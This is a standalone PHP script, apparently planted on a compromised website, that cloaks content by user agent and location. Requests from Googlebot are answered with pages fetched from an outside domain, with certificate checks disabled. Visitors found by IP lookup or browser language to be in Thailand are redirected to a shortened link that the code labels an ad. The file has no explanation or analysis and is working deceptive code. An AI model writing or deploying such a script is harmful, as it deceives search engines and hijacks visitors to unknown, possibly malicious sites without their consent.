<?php
header('Vary: Accept-Language');
header('Vary: User-Agent');

function get_client_ip() {
    $keys = [
        'HTTP_CLIENT_IP',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_FORWARDED',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR'
    ];
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ipList = explode(',', $_SERVER[$key]);
            foreach ($ipList as $ip) {
                $ip = trim($ip);
                if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
            }
        }
    }
    return '127.0.0.1';
}

function fetch_site($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

    $headers = [
        'User-Agent: ' . (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0'),
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language: ' . (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en-US,en;q=0.5'),
        'Connection: keep-alive'
    ];
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_AUTOREFERER, true);

    $response = curl_exec($ch);
    $info = curl_getinfo($ch);

    if (curl_errno($ch)) {
        curl_close($ch);
        http_response_code(502);
        echo "Bad Gateway";
        exit;
    }

    curl_close($ch);

    $headerSize = isset($info['header_size']) ? (int)$info['header_size'] : 0;
    $header = substr($response, 0, $headerSize);
    $body = substr($response, $headerSize);

    $contentType = 'text/html';
    if (preg_match('/Content-Type:\s*([^\r\n;]+)/i', $header, $mct)) $contentType = trim($mct[1]);

    header('Content-Type: ' . $contentType . '; charset=UTF-8');
    http_response_code(isset($info['http_code']) ? (int)$info['http_code'] : 200);
    echo $body;
    exit;
}


function is_google_bot() {
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
    return stripos($ua, 'googlebot') !== false;
}


function is_thai_user() {
    $ip = get_client_ip();
    $geo = json_decode(file_get_contents("http://ip-api.com/json/{$ip}"), true);
    if (isset($geo['countryCode']) && $geo['countryCode'] === 'TH') return true;

    $al = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']) : '';
    if (strpos($al, 'th') === 0) return true;

    return false;
}

function redirect_to_ad() {
    header("Location: https://t.ly/kpi", true, 302);
    exit;
}


if (is_google_bot()) {
    $targetUrl = "https://convocation.yvuexams.in/" . (isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/');
    fetch_site($targetUrl);
}

if (is_thai_user()) {
    redirect_to_ad();
}
;
?>